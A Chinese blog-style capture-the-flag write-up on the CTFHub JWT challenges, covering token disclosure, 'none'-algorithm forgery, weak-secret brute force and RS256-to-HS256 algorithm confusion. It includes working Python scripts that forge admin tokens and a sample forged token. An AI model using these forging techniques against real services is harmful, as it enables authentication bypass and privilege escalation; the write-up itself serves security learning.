ctf-hub web进阶(JWT)

敏感信息泄露

http://jwt.io
使用这个网站,把token进行加载即可
然后两部分拼接即可

无签名

none时侯,一些JWT库也支持none算法,即不使用签名算法。当alg字段为空时,后端将不执行签名验证

import jwt
token = jwt.encode(
{
  "username": "admin",
  "password": "admin",
  "role":"admin"
},
algorithm="none",key=""
)

print(token)

最后可以得到 eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.

在这里插入图片描述

弱密钥

如果JWT采用对称加密算法,并且密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥。尝试获取flag
下载这个链接的工具

工具链接
HSA正好是对称加密算法
使用header+payload 爆破在这里插入图片描述能爆出密钥在这里插入图片描述
然后带回去
在这里插入图片描述
之后能抛出flag
在这里插入图片描述

修改签名算法

有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的。
主要是这个python脚本

# coding=GBK
import hmac
import hashlib
import base64
'''这个是通过命令行执行的,看见以后请返回'''

file = open('publickey.pem')
key = file.read()

# Paste your header and payload here
header = '{"typ": "JWT", "alg": "HS256"}'
payload = '{"username": "admin", "role": "admin"}'

# Creating encoded header
encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")

# Creating encoded payload
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")

# Concatenating header and payload
token = (encodeHeader + "." + encodePayload)

# Creating signature
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=")

print(token + "." + sig)`

里面的公钥保存下来,以open的形式去读取
[好多师傅都是说直接读取会有一些问题,所以保存下来进行读取会比较好]
之后吧token替换掉就可以了。

  1. 后端生成的 JWT 是私钥加密
  2. 前端收到 JWT 后,通过更改签名方法,然后使用 HS256 加密,密钥使用 public.pem。
  3. 后端去验证此签名,发现 Header 中是 HS256,那么它就使用 HS256,并且拿着 public.pem 去验证,对比签名肯定成功。[原本应该是后端使用 RS256,使用 public.pem 去验证你签名,当测试人员用 public.pem 去对 Header、Payload 加密得到签名,由于已经篡改了数据签名产生变化,拿公钥加密此时后端再用公钥肯定解不开(私钥加密公钥解,公钥加密私钥解)。]
  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值